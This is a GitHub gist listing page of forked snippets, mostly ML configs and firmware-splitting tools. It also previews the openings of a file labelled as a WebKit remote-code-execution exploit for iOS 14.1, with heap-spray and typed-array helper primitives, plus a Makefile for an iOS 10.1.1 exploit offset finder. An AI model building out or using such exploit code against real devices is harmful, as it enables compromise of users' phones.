Skip to content

Instantly share code, notes, and snippets.

@geekwish
geekwish / nes.py
Created January 15, 2025 02:40 — forked from karpathy/nes.py
Natural Evolution Strategies (NES) toy example that optimizes a quadratic function
"""
A bare bones examples of optimizing a black-box function (f) using
Natural Evolution Strategies (NES), where the parameter distribution is a
gaussian of fixed standard deviation.
"""
import numpy as np
np.random.seed(0)
# the function we want to optimize
@geekwish
geekwish / LoraConfig.json
Created December 14, 2023 06:24 — forked from vizsumit/LoraConfig.json
settings for Kohya_ss LoRA Training
{
"LoRA_type": "Standard",
"adaptive_noise_scale": 0,
"additional_parameters": "",
"block_alphas": "",
"block_dims": "",
"block_lr_zero_threshold": "",
"bucket_no_upscale": true,
"bucket_reso_steps": 64,
"cache_latents": true,
@geekwish
geekwish / LIST OF MAT TYPE IN OPENCV.md
Created December 14, 2022 04:08 — forked from yangcha/LIST OF MAT TYPE IN OPENCV.md
LIST OF MAT TYPE IN OPENCV
@geekwish
geekwish / vision.py
Created March 30, 2022 11:24 — forked from RhetTbull/vision.py
Use Apple's Vision framework from Python to detect text in images
""" Use Apple's Vision Framework via PyObjC to detect text in images """
import pathlib
import Quartz
import Vision
from Cocoa import NSURL
from Foundation import NSDictionary
# needed to capture system-level stderr
from wurlitzer import pipes
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.f32 = new Float32Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.u64 = new BigUint64Array(this.buf);
this.state = {};
}
@geekwish
geekwish / fuck.js
Created May 27, 2021 07:20 — forked from ujin5/fuck.js
WebKit RCE on ios 14.1
function sleep( sleepDuration ){
var now = new Date().getTime();
while(new Date().getTime() < now + sleepDuration){ /* do nothing */ }
}
function gc() {
for (let i = 0; i < 0x10; i++) {
new ArrayBuffer(0x1000000);
}
}
let data_view = new DataView(new ArrayBuffer(8));
/*
* SEP firmware split tool
*
* Copyright (c) 2017 xerub
*/
#include <fcntl.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
@geekwish
geekwish / Makefile
Created December 20, 2016 08:06
auto offset finder for Ian Beer's iOS 10.1.1 exploit
all:
clang main.c machoman.c -o off_finder
clean:
rm -rf off_finder
#!/usr/bin/perl
######################################################################
#
# File : split_bootimg.pl
# Author(s) : William Enck <enck@cse.psu.edu>
# Description : Split appart an Android boot image created
# with mkbootimg. The format can be found in
# android-src/system/core/mkbootimg/bootimg.h
#
# Thanks to alansj on xda-developers.com for